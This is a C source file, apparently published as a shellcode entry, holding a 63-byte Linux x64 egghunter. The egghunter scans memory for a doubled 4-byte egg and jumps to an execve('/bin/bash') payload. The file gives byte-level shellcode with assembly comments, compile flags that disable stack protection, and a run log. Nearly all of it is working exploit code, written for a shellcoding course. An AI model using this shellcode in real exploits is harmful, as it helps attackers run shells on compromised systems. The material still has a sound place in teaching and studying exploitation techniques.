63 bytes small Linux/x64_86 dynamic egghunter shellcode that searches memory for 2 instances of the egg. When the eggs are found, the egghunter passes execution control to the payload at the memory address of the eggs. The payload is an execve(/bin/bash) shellcode.
a26b8168f0e16f88cec1b72030695f38// Shellcode Title: Linux/x64 - EggHunter Execve Shellcode (63 Bytes)
// Shellcode Author: Bobby Cooke
// Tested On: Kali Linux 5.3.0-kali3-amd64 x86_64
// Description: Egghunter for Linux x64_86 systems. The egghunter dynamically searchs memory for 2 instances of the egg. When the eggs are found, the egghunter passes execution control to the payload at the memory address of the eggs. The payload is an execve(/bin/bash) shellcode.
// SLAE/Student ID: PA-10913
// Course: This shellcode was created for the x86_64 Assembly Language and Shellcoding on Linux (SLAE64) Course offered at pentesteracademy.com.
// Shoutout: skape, vivek, offsec, corelan
// Filename: Hunter.c
// Usage:
// root# gcc -m64 -z execstack -fno-stack-protector Hunter.c -o Hunter
// root# echo $$ | xargs ps
// PID TTY STAT TIME COMMAND
// 13916 pts/4 Ss 0:00 /bin/bash
// root# ./Hunter
// Memory Location of Shellcode: 0x555555558060
// Memory Location of EggHunter: 0x5555555580a0
// Size of Egghunter: 63
// root# echo $$ | xargs ps
// PID TTY STAT TIME COMMAND
// 14495 pts/4 S 0:00 [bash]
#include <stdio.h>
#include <string.h>
// This is the egg for our eggHunter
// the egg should be 4 bytes and be executable
#define egg "\x90\x50\x90\x50"
unsigned char shellcode[] = \
egg \
egg \
"\x48\x31\xf6" // xor rsi, rsi
"\x48\xf7\xe6" // mul rsi ; rdx&rax= 0x0
"\x48\x31\xff" // xor rdi, rdi
"\x57" // push rdi
"\x48\x83\xc2\x68" // add rdx, 0x68
"\x52" // push rdx
"\x48\xba\x2f\x62\x69\x6e\x2f\x62\x61\x73" // movabs rdx, 0x7361622f6e69622f ; "/bin/bas"
"\x52" // push rdx
"\x48\x31\xd2" // xor rdx, rdx
"\x48\x89\xe7" // mov rdi, rsp ; rdi = Pointer -> "/bin/bash"0x00
"\xb0\x3b" // mov al, 0x3b ; execve syscall number
"\x0f\x05"; // syscall ; call execve("/bin/bash", NULL, NULL)
// Replace the hardcoded egg with a variable.
// This allows us to easily change the egg for our eggHunter.
unsigned char egghunter[] = \
"\x48\x31\xc9" // xor rcx, rcx
"\x48\xf7\xe1" // mul rcx
"\x48\x81\xc2\x10\x10\x55\x55" // add rdx, 0x55551010 ; Start >0 (hopefully reduce time)
"\x48\xc1\xe2\x10" // shl rdx, 0x10 ; 0x55551010 => 0x555510100000
// nextPage:
"\x66\x81\xca\xff\x0f" // or dx, 0xfff ; 0xfff = 4096. Size of page
// nextAddress:
// ; int link(const char *oldpath, const char *newpath);
"\x48\xff\xc2" // inc rdx
"\x48\x8d\x7a\x08" // lea rdi, [rdx+0x8] ; ARG1=*oldpath
"\x48\x31\xf6" // xor rsi, rsi ; ARG2=*newpath
"\x48\x31\xc0" // xor rax, rax ; reset rax for syscall
"\x04\x56" // add al, 0x56 ; System Call for link()
"\x0f\x05" // syscall ; Executes link()
"\x3c\xf2" // cmp al, 0xf2 ; Can memory address be read?
"\x74\xe6" // jz nextPage ; If no, check the next memory page
"\x48\x31\xdb" // xor rbx, rbx
"\x81\xc3\x90\x50\x90\x50" // add ebx, 0x50905090 ; Configure Egg in RBX
"\x39\x1a" // cmp [rdx], ebx ; Egg?
"\x75\xde" // jnz nextAddress ; No Egg? Go to next memory page
"\x39\x5a\x04" // cmp [rdx+0x4], ebx ; second Egg?
"\x75\xd9" // jnz nextAddress ; No Egg? Check next memory address
"\xff\xe2"; // jmp rdx ; EGG FOUND! Jump to Egg!
int main()
{
printf("Memory Location of Shellcode: %p\n", shellcode);
printf("Memory Location of EggHunter: %p\n", egghunter);
printf("Size of Egghunter: %d\n", strlen(egghunter));
int (*ret)() = (int(*)())egghunter;
ret();
}